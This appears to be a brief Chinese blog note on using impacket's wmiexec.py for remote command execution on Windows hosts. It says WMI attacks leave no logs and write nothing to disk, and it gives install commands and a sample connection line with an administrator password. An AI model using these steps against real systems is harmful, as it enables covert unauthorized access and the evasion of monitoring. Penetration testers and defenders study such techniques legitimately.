wmiexec

发布于 2022-04-09  70 次阅读


  1. wmiexec连接win主机
    wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本 地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中 记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
  2. git clone https://github.com/CoreSecurity/impacket.git
    cd impacket/
    pip install .
  3. wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
子夜不哭
最后更新于 2022-04-09